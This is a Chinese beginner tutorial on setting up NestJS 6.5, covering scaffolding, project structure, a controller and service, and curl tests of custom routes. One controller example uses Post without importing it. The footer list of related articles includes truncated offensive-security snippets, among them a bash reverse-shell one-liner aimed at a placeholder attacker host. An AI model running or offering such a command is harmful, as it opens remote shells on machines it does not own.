NestJs框架快速入门(V6.5)

2023-05-16

Nest是构建高效可扩展的 Node.js Web 应用程序的框架。
默认使用JavaScript的超集TypeScript进行开发。

环境准备

查看node和npm版本:

$ node --version
v10.16.0

$ npm --version
6.9.0

安装@nestjs/cli

使用 npm 全局安装 @nestjs/cli:

$ npm i -g @nestjs/cli
/usr/local/bin/nest -> /usr/local/lib/node_modules/@nestjs/cli/bin/nest.js
+ @nestjs/cli@6.5.0
removed 3 packages and updated 13 packages in 6.982s

使用 nest --version 命令查看 nest 当前版本:

$ nest --version
6.5.0

使用 nest new 命令创建一个名为 nest-app 的项目:

$ nest new nest-app    
⚡  We will scaffold your app in a few seconds..

CREATE /nest-app/.prettierrc (51 bytes)
CREATE /nest-app/README.md (3370 bytes)
CREATE /nest-app/nest-cli.json (84 bytes)
CREATE /nest-app/nodemon-debug.json (163 bytes)
CREATE /nest-app/nodemon.json (67 bytes)
CREATE /nest-app/package.json (1804 bytes)
CREATE /nest-app/tsconfig.build.json (97 bytes)
CREATE /nest-app/tsconfig.json (325 bytes)
CREATE /nest-app/tslint.json (426 bytes)
CREATE /nest-app/src/app.controller.spec.ts (617 bytes)
CREATE /nest-app/src/app.controller.ts (274 bytes)
CREATE /nest-app/src/app.module.ts (249 bytes)
CREATE /nest-app/src/app.service.ts (142 bytes)
CREATE /nest-app/src/main.ts (208 bytes)
CREATE /nest-app/test/app.e2e-spec.ts (561 bytes)
CREATE /nest-app/test/jest-e2e.json (183 bytes)

? Which package manager would you ❤️  to use? npm
▹▹▹▸▹ Installation in progress... ☕
?  Successfully created project nest-app
?  Get started with the following commands:

$ cd nest-app
$ npm run start

    Thanks for installing Nest ?
Please consider donating to our open collective
    to help us maintain this package.
                         
?  Donate: https://opencollective.com/nest

启动项目

进入项目,并启动项目

$ cd nest-app 
$ npm run start
> nest-app@0.0.1 start /Users/wangtom/development/node/nest-app
> ts-node -r tsconfig-paths/register src/main.ts
[Nest]3226-2019-06-13 [NestFactory] Starting Nest application...
[Nest]3226-2019-06-13 [InstanceLoader] AppModule dependencies initialized +87ms
[Nest]3226-2019-06-13 [RoutesResolver] AppController {/}: +41ms
[Nest]3226-2019-06-13 [RouterExplorer] Mapped {/, GET} route +16ms
[Nest]3226-2019-06-13 [NestApplication] Nest application successfully started +43ms

打开浏览器,访问 http://localhost:3000/ 就可以看到Hello World!页面输出了。

或者在终端使用 curl 请求:

$ curl -i localhost:3000
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-Lve95gjOVATpfV8EL5X4nxwjKHE"
Date: Thu, 13 Jun 2019 08:16:42 GMT
Connection: keep-alive

Hello World!% 

可以看到, 输出了 Hello World! 字符串。
使用 -i 参数,表示要输出 header 头信息。
在 header 头信息中,我们可以看到,X-Powered-By 值为 Express, 就是告诉我们这个网站或框架底层是 Expres 框架。

项目结构

查看一下项目结构:

$ ll nest-app 
total 640
-rw-r--r--    1 wangtom  staff   3.3K  6 13 16:13 README.md
-rw-r--r--    1 wangtom  staff    84B  6 13 16:13 nest-cli.json
drwxr-xr-x  585 wangtom  staff    18K  6 13 16:14 node_modules
-rw-r--r--    1 wangtom  staff   163B  6 13 16:13 nodemon-debug.json
-rw-r--r--    1 wangtom  staff    67B  6 13 16:13 nodemon.json
-rw-r--r--    1 wangtom  staff   287K  6 13 16:14 package-lock.json
-rw-r--r--    1 wangtom  staff   1.8K  6 13 16:14 package.json
drwxr-xr-x    7 wangtom  staff   224B  6 13 16:13 src
drwxr-xr-x    4 wangtom  staff   128B  6 13 16:13 test
-rw-r--r--    1 wangtom  staff    97B  6 13 16:13 tsconfig.build.json
-rw-r--r--    1 wangtom  staff   325B  6 13 16:13 tsconfig.json
-rw-r--r--    1 wangtom  staff   426B  6 13 16:13 tslint.json

可以使用 tree 命令查看nest-app的目录结构:

比如使用 tree ./nest-app -L 1, 查看1级目录结构。

./nest-app
├── README.md
├── nest-cli.json
├── node_modules/
├── nodemon-debug.json
├── nodemon.json
├── package-lock.json
├── package.json
├── src  # 源码目录
│   ├── app.controller.spec.ts
│   ├── app.controller.ts # 控制器类
│   ├── app.module.ts  # 模块
│   ├── app.service.ts # 服务类
│   └── main.ts   # 入口文件
├── test   # 测试目录
│   ├── app.e2e-spec.ts
│   └── jest-e2e.json
├── tsconfig.build.json
├── tsconfig.json
└── tslint.json

可以看到,和 Angular 的项目结构很相似。

src/main.ts 是项目的入口文件, 定义了一个异步方法(bootstrap)来启动应用,默认监听端口 3000:

// main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  await app.listen(3000);
}
bootstrap();

控制器: app.controller.ts

// app.controller.ts
import { Controller, Get } from '@nestjs/common';
import { AppService } from './app.service';

@Controller()
export class AppController {
  constructor(private readonly appService: AppService) {}

  @Get()
  getHello(): string {
    return this.appService.getHello();
  }
}

控制器中定义了一个名为 getHello() 的方法,使用 @Get 注解,表示可以通过 Get 方法访问。
控制器构造方法中引入了私有只读的服务类 AppService, 在 getHello() 方法中调动了服务类(AppService)中的 getHello() 方法。

服务类: app.service.ts

// app.service.ts
import { Injectable } from '@nestjs/common';

@Injectable()
export class AppService {
  getHello(): string {
    return 'Hello World!';
  }
}

在服务类AppService中,定义了getHello()方法,只返回了字符串 Hello World!

小试牛刀

熟悉了项目目录结构与基本运行代码后,我们来增加一些自己的方法,感受一个这个框架。

自定义一个返回当前版本的接口,获取当前应用的版本:

// app.controller.ts
// 导入 Post
import { Controller, Get } from '@nestjs/common';
import { AppService } from './app.service';

@Controller()
export class AppController {
  constructor(private readonly appService: AppService) {}

  @Get()
  getHello(): string {
    return this.appService.getHello();
  }
  // 自定义 getVersion 方法: 
  @Get('/version')
  getVersion(): Object {
    return this.appService.getVersion();
  }
  // 自定义 postIndex 方法: 
  @Post('/api')
  postIndex(): Object {
    return this.appService.getVersion();
  }
}

在控制器文件 src/app.controller.ts 中:
新增了一个使用@Get注解的getVersion()方法,可以通过Get访问,路由为“/version”。
新增了一个使用@Post注解的postIndex()方法,可以通过Post访问, 路由为“/api”。

修改服务类文件 app.service.ts:

新增一个名为getVersion()的方法,返回 Object 格式的json数据。

// app.service.ts
import { Injectable } from '@nestjs/common';

@Injectable()
export class AppService {
  getHello(): string {
    return 'Hello World!';
  }
  // 自定义:获取版本
  getVersion(): Object {
    return {
      code: 200, 
      msg: "OK",
      data: {
        version:"0.0.1"
      }, 
    }
  }
}

使用 Control+C 结束终端运行,这次我们使用 npm run start:dev 启动(项目文件有修改会自动重启服务):

$ npm run start:dev  

5:17:42 PM - Starting compilation in watch mode...
[1] 
[1] 
[1] 5:17:44 PM - Found 0 errors. Watching for file changes.
[0][nodemon] 1.19.1
[0][nodemon] to restart at any time, enter `rs`
[0][nodemon] watching: /Users/wangtom/development/node/nest-app/dist/**/*
[0][nodemon] starting `node dist/main`
[0][Nest]3845-2019-06-13[NestFactory] Starting Nest application...
[0][Nest]3845-2019-06-13[InstanceLoader] AppModule dependencies initialized +20ms
[0][Nest]3845-2019-06-13[RoutesResolver] AppController {/}: +6ms
[0][Nest]3845-2019-06-13[RouterExplorer] Mapped {/, GET} route +8ms
[0][Nest]3845-2019-06-13[RouterExplorer] Mapped {/version, GET} route +2ms
[0][Nest]3845-2019-06-13[RouterExplorer] Mapped {/api, POST} route +2ms
[0][Nest]3845-2019-06-13[NestApplication] Nest application successfully started +4ms
 ... 

现在我们使用 curl 命令分别来请求这几个路由地址:

请求 “localhost:3000/version”:

$ curl localhost:3000            
Hello World!% 
# 默认GET请求'/version': 存在,返回预期的结果
$ curl localhost:3000/version
{"code":200,"msg":"OK","data":{"version":"0.0.1"}}%                                                   

# 改成POST请求'/version': 不存在,框架自带的错误提示
$ curl -X POST localhost:3000/version    
{"statusCode":404,"error":"Not Found","message":"Cannot POST /version"}% 

请求 “localhost:3000/api”:

# 使用POST请求'/api': 存在,返回预期的结果
$ curl -X POST localhost:3000/api
{"code":200,"msg":"OK","data":{"version":"0.0.1"}}% 

# 改成GET请求'/api': 不存在,框架自带的错误提示
$ curl localhost:3000/api 
{"statusCode":404,"error":"Not Found","message":"Cannot GET /api"}% 

References

https://docs.nestjs.com/first-steps

Change log

2018.12.18 add this page, nestjs version 5.7.
2019.06.13 update nestjs 6.5.

感谢阅读,如有问题请留言。

[END]

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

NestJs框架快速入门(V6.5) 的相关文章

随机推荐

  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6